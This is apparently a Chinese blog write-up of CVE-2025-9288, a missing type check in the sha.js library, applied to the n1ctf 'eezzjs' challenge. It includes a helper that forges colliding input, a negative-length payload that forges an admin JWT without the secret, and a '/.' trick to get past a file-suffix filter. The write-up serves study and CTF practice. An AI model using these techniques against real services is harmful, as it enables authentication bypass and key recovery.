sha.js-2.4.10-CVE-2025-9288

文章发布时间:

最后更新时间:

简介

在 sha.js<=2.4.11 版本下,缺少对类型的严格检查,当传入的数据不是 buffer,string 类型时会导致无效值、挂起和倒带哈希状态(包括将标记的哈希转换为未标记的哈希)或其他通常未定义的行为

主要函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Hash.prototype.update = function (data, enc) {
if (typeof data === 'string') {
enc = enc || 'utf8'
data = Buffer.from(data, enc)
}

var block = this._block
var blockSize = this._blockSize
var length = data.length
var accum = this._len

for (var offset = 0; offset < length;) {
var assigned = accum % blockSize
var remainder = Math.min(length - offset, blockSize - assigned)

for (var i = 0; i < remainder; i++) {
block[assigned + i] = data[offset + i]
}

accum += remainder
offset += remainder

if ((accum % blockSize) === 0) {
this._update(block)
}
}

this._len += length
return this
}

观察代码我们可以发现,当传入的 data 不是一个 string 时,会直接绕过 if 检查而继续执行下面的代码,此时,当我们的传入的 data 是一个对象时,data.length 是我们可控的,代码逻辑将他赋值给了 length 之后在 this._len += length

如何利用

照上面的逻辑,我们可以在有限条件下控制不同的字符串生成的哈希值相同,例如:

当计算哈希时的逻辑是调用多次 update 以及能传入对象时,我们就能实现控制。

类似的函数逻辑如下

1
2
3
4
5
6
7
8
9
10
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}

影响

  • 污染哈希值,通过控制 length 导致两个不同字符串的哈希值相同
  • 通过类型截断来实现碰撞

例:{ length: buf.length, ...buf, 0: buf[0] + 256 } 由于一个字节只能存储 0 到 255 之间的值,如果第一个值在加上 256 后大于 255 就会发生截断 xxx%256 使原始数据和恶意数据生成哈希值一样

  • length 过大时使服务资源耗尽,拒绝服务
  • 利用 sha.js 的哈希碰撞漏洞,欺骗服务器使用相同的随机数去签署两个不同的消息,从而让攻击者可以通过代数运算反推出服务器的私钥。

题目环境

n1ctf-eezzjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
const crypto = require('crypto');
const sha = require('sha.js');

const sha256 = (...messages) => {
const hash = sha('sha256');
messages.forEach((m) => hash.update(m));
return hash.digest('hex');
};

const JWT_SECRET = crypto.randomBytes(9).toString('hex');

const toBase64Url = (input) => {
const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input);
return buffer
.toString('base64')
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
};

const fromBase64Url = (input) => {
const paddedLength = (4 - (input.length % 4)) % 4;
const base64 = input.replace(/-/g, '+').replace(/_/g, '/') + '='.repeat(paddedLength);
return Buffer.from(base64, 'base64');
};

const hashPassword = (password, salt = '') => sha256(password, salt);

const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
const header = { alg: 'HS256', typ: 'JWT' };
const now = Math.floor(Date.now() / 1000);
console.log(payload)
const body = { ...payload, length:payload.username.length,iat: now };
if (expiresIn) {
body.exp = now + expiresIn;
}

return [
toBase64Url(JSON.stringify(header)),
toBase64Url(JSON.stringify(body)),
sha256(...[JSON.stringify(header), body, secret])
].join('.');
};

const verifyJWT = (token, secret = JWT_SECRET) => {
if (typeof token !== 'string') {
return null;
}

const parts = token.split('.');
if (parts.length !== 3) {
return null;
}

const [encodedHeader, encodedPayload, signature] = parts;

let header;
let payload;
try {
header = JSON.parse(fromBase64Url(encodedHeader).toString());
payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
return null;
}

const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

let providedSignature;
let expectedSignature;
try {
providedSignature = Buffer.from(signature, 'hex');
expectedSignature = Buffer.from(expectedSignatureHex, 'hex');
} catch (err) {
return null;
}

if (
providedSignature.length !== expectedSignature.length ||
!crypto.timingSafeEqual(providedSignature, expectedSignature)
) {
return null;
}

if (header.alg !== 'HS256') {
return null;
}

if (payload.exp && Math.floor(Date.now() / 1000) >= payload.exp) {
return null;
}

return payload;
};

module.exports = {
hashPassword,
signJWT,
verifyJWT,
};

题目的 auth 逻辑,我们需要获得一个 jwt 来进行后续攻击,而服务上不能注册用户,只有一个预先创建的 admin 用户,观察其验证 jwt 的函数以及签发 jwt 的函数,发现期望的哈希值是通过我们传入的 header 和 payload,加上服务器生成的 secret 计算出来的,因此我们可以控制 payload 中的 length 属性,将其改为一个特殊负值(header 的长度加上 secret 长度取负 ),这样就能把 secret 的影响消除,即无论 secret 是什么,我们构造的 payload 生成的 jwt 都能通过检查,注意构造的长度 len=-(JSON.stringify(header).length+18)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
const header = { alg: 'HS256', typ: 'JWT' };
const now = Math.floor(Date.now() / 1000);
console.log(payload)
const body = { ...payload, length:payload.username.length,iat: now };
if (expiresIn) {
body.exp = now + expiresIn;
}

return [
toBase64Url(JSON.stringify(header)),
toBase64Url(JSON.stringify(body)),
sha256(...[JSON.stringify(header), body, secret])
].join('.');
};

const header = { alg: 'HS256', typ: 'JWT' };
const len=-(JSON.stringify(header).length+18);
token=signJWT({username:"admin",length:len},crypto.randomBytes(9).toString('hex'))

//token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwibGVuZ3RoIjotNDUsImlhdCI6MTc2MjE0MzU0MH0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1

有了 jwt 我们可以进行后续操作

对文件后缀名 js 进行了 waf,可以简单使用/.绕过